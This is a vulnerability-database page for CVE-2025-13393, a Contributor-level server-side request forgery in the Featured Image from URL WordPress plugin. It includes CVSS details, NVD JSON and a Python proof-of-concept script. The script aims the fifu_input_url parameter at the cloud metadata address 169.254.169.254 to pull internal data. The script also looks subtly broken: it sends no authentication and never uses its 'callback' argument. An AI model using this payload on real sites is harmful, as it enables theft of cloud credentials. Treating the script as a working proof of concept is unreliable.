Security Vulnerability Report
中文
CVE-2025-13393 CVSS 4.3 MEDIUM

CVE-2025-13393

Published: 2026-01-10 14:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.3.1. This is due to insufficient validation of user-supplied URLs before passing them to the getimagesize() function in the Elementor widget integration. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services via the fifu_input_url parameter in the FIFU Elementor widget granted they have permissions to use Elementor.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

FIFU plugin <= 5.3.1 (all versions up to and including)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13393 SSRF PoC for FIFU Plugin # Target: WordPress site with FIFU plugin <= 5.3.1 def exploit_ssrf(target_url, target_internal_ip, attacker_callback_ip): """ Exploit SSRF vulnerability in FIFU plugin's Elementor widget Args: target_url: Target WordPress site URL target_internal_ip: Internal IP to target (e.g., 169.254.169.254 for AWS metadata) attacker_callback_ip: IP for callback verification """ # Elementor widget endpoint endpoint = f"{target_url.rstrip('/')}/wp-json/elementor/v1/globals" # Malicious payload with SSRF payload = { 'fifu_input_url': f'http://{target_internal_ip}/latest/meta-data/', } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting SSRF to reach: {target_internal_ip}") try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200 and len(response.text) > 0: print(f"[!] SSRF Successful! Server fetched internal resource") print(f"[*] Response preview: {response.text[:500]}") return True else: print("[-] SSRF may have failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-13393.py <target_url> <internal_ip> <callback_ip>") print("Example: python cve-2025-13393.py http://victim.com 169.254.169.254 1.2.3.4") sys.exit(1) exploit_ssrf(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13393", "sourceIdentifier": "[email protected]", "published": "2026-01-10T14:15:49.907", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.3.1. This is due to insufficient validation of user-supplied URLs before passing them to the getimagesize() function in the Elementor widget integration. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services via the fifu_input_url parameter in the FIFU Elementor widget granted they have permissions to use Elementor."}, {"lang": "es", "value": "El plugin Featured Image from URL (FIFU) para WordPress es vulnerable a la falsificación de petición del lado del servidor en todas las versiones hasta la 5.3.1, inclusive. Esto se debe a una validación insuficiente de las URLs proporcionadas por el usuario antes de pasarlas a la función getimagesize() en la integración del widget de Elementor. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, realicen peticiones web a ubicaciones arbitrarias originadas desde la aplicación web y puede usarse para consultar y modificar información de servicios internos a través del parámetro fifu_input_url en el widget FIFU de Elementor, siempre que tengan permisos para usar Elementor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/featured-image-from-url/trunk/elementor/widgets/widget.php#L121", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/featured-image-from-url/trunk/elementor/widgets/widget.php#L94", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3428744/", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-13393/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b7115070-b84d-4d69-993a-f512b9f9c081?source=cve", "source": "[email protected]"}]}}